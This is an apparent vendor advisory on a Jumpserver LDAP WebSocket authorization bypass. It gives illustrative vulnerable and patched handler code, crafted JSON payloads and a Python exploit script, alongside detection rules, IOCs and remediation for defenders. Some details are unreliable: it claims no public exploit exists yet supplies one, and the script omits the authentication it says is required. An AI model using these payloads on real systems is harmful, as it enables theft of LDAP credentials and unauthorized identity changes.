CVE-2025-62795

Executive Summary

CVE-2025-62795 is a critical authorization bypass vulnerability in Jumpserver, an open-source bastion host and security audit system. A low-privileged authenticated user can exploit the /ws/ldap/ WebSocket endpoint to invoke LDAP configuration tests and initiate LDAP synchronization without proper authorization. This can lead to exposure of LDAP credentials and unintended synchronization operations, potentially compromising the entire identity management infrastructure. The vulnerability affects versions prior to v3.10.21-lts and v4.10.12-lts. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is significant due to the sensitive nature of LDAP configurations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The vulnerability allows a low-privileged attacker to access sensitive LDAP credentials and manipulate synchronization processes, which can lead to lateral movement and privilege escalation within the network.

Deep Dive & Mechanics

The vulnerability resides in the WebSocket endpoint /ws/ldap/. Jumpserver uses WebSockets for real-time communication, including LDAP configuration testing and synchronization. The flaw is a missing authorization check (CWE-862) that fails to verify if the authenticated user has the necessary permissions to perform LDAP-related operations.

Attack Flow:

1. An attacker authenticates as a low-privileged user (e.g., a regular operator).
2. The attacker crafts a WebSocket message targeting /ws/ldap/ with commands to test LDAP configuration or start synchronization.
3. The server processes the request without verifying that the user has administrative privileges.
4. The attacker can read LDAP credentials (e.g., bind DN and password) from the response or trigger unauthorized sync operations.

Impact:

• Credential Exposure: LDAP bind credentials are often used for authentication across multiple systems. Exposure can lead to broader compromise.
• Unauthorized Sync: Attackers can manipulate LDAP synchronization, potentially adding rogue users or modifying access controls.
• Lateral Movement: With LDAP credentials, attackers can pivot to other systems relying on LDAP authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-patch):

# Vulnerable WebSocket handler in Jumpserver
class LDAPWebSocket(WebSocketConsumer):
    def connect(self):
        # No authorization check
        self.accept()

    def receive(self, text_data):
        data = json.loads(text_data)
        if data['action'] == 'test_config':
            # Executes without permission check
            result = test_ldap_config(data['config'])
            self.send(json.dumps(result))
        elif data['action'] == 'sync':
            # Executes without permission check
            start_ldap_sync()
            self.send(json.dumps({'status': 'started'}))

Patched Code (Post-patch):

# Patched WebSocket handler
class LDAPWebSocket(WebSocketConsumer):
    def connect(self):
        # Authorization check added
        if not self.scope['user'].has_perm('ldap.can_manage'):
            self.close()
        else:
            self.accept()

    def receive(self, text_data):
        data = json.loads(text_data)
        if data['action'] == 'test_config':
            # Additional permission check
            if not self.scope['user'].has_perm('ldap.can_test'):
                self.send(json.dumps({'error': 'Permission denied'}))
                return
            result = test_ldap_config(data['config'])
            self.send(json.dumps(result))
        elif data['action'] == 'sync':
            if not self.scope['user'].has_perm('ldap.can_sync'):
                self.send(json.dumps({'error': 'Permission denied'}))
                return
            start_ldap_sync()
            self.send(json.dumps({'status': 'started'}))

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Jumpserver instance (v3.10.20-lts or earlier).
• Low-privileged user credentials (e.g., operator role).

Exploitation Steps:

1. Establish a WebSocket connection to /ws/ldap/ using a tool like websocat or a custom script.
2. Send a crafted JSON message to test LDAP configuration:

   {
     "action": "test_config",
     "config": {
       "server": "ldap://target-ldap-server",
       "bind_dn": "cn=admin,dc=example,dc=com",
       "bind_password": "test_password"
     }
   }
   

3. Observe the response for LDAP credentials or error messages that reveal configuration details.
4. To trigger synchronization:

   {
     "action": "sync"
   }
   

5. Monitor LDAP server logs for unauthorized sync operations.

Python Exploit Script:

import asyncio
import websockets
import json

async def exploit():
    uri = "ws://target-jumpserver/ws/ldap/"
    async with websockets.connect(uri) as websocket:
        # Test LDAP config
        msg = {
            "action": "test_config",
            "config": {
                "server": "ldap://internal-ldap",
                "bind_dn": "cn=admin,dc=example,dc=com",
                "bind_password": "test"
            }
        }
        await websocket.send(json.dumps(msg))
        response = await websocket.recv()
        print(f"Response: {response}")

        # Trigger sync
        msg = {"action": "sync"}
        await websocket.send(json.dumps(msg))
        response = await websocket.recv()
        print(f"Sync response: {response}")

asyncio.run(exploit())

Blue Team

Detection Steps:

1. Monitor WebSocket connections to /ws/ldap/ from non-admin users.
2. Alert on unusual LDAP test or sync commands from low-privileged accounts.
3. Review LDAP server logs for unexpected bind attempts or synchronization events.
4. Check Jumpserver audit logs for unauthorized access to LDAP configuration.

Honeypot Strategy:

• Deploy a fake LDAP server to capture credentials from attackers.
• Monitor for connections to /ws/ldap/ from unexpected IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • WebSocket connections to /ws/ldap/ from non-admin users.
  • Outbound LDAP connections from Jumpserver to unexpected LDAP servers.
  • Unusual JSON payloads containing action: test_config or action: sync.

• System IOCs:

  • Jumpserver audit logs showing LDAPWebSocket access by low-privileged users.
  • LDAP server logs showing bind attempts with credentials from Jumpserver.
  • Unexpected user accounts or group memberships added via LDAP sync.

• File IOCs:

  • Modified LDAP configuration files in /opt/jumpserver/config/.
  • Temporary files containing LDAP credentials in /tmp/.

Detection Engineering

YARA Rule

rule jumpserver_ldap_websocket_exploit {
    meta:
        description = "Detects WebSocket messages targeting Jumpserver LDAP endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62795"
    strings:
        $ws_path = "/ws/ldap/"
        $action_test = "test_config"
        $action_sync = "sync"
        $ldap_config = "bind_password"
    condition:
        any of ($ws_path) and any of ($action_test, $action_sync) and $ldap_config
}

Sigma Rule

title: Jumpserver LDAP WebSocket Authorization Bypass
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthorized access to Jumpserver LDAP WebSocket endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: jumpserver
detection:
    selection:
        cs-uri-stem: "/ws/ldap/"
        cs-method: "GET"
        c-ip: "10.0.0.0/8"  # Adjust to internal network
    condition: selection
falsepositives:
    - Legitimate admin operations
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"Jumpserver LDAP WebSocket Exploit Attempt"; flow:to_server,established; content:"/ws/ldap/"; http_uri; content:"test_config"; http_client_body; content:"bind_password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jumpserver to v3.10.21-lts or v4.10.12-lts immediately.
2. If upgrade is not possible, restrict access to /ws/ldap/ via firewall or reverse proxy rules.
3. Review and rotate all LDAP credentials used by Jumpserver.

Long-term Mitigations:

• Implement network segmentation to isolate Jumpserver from untrusted networks.
• Enable multi-factor authentication (MFA) for all Jumpserver users.
• Regularly audit user permissions and remove unnecessary privileges.
• Monitor WebSocket endpoints for anomalous activity.

Workaround:

• Disable LDAP synchronization feature temporarily if not critical.
• Use a Web Application Firewall (WAF) to block requests to /ws/ldap/ from non-admin IPs.

Valters IT
Securing Digital Frontiers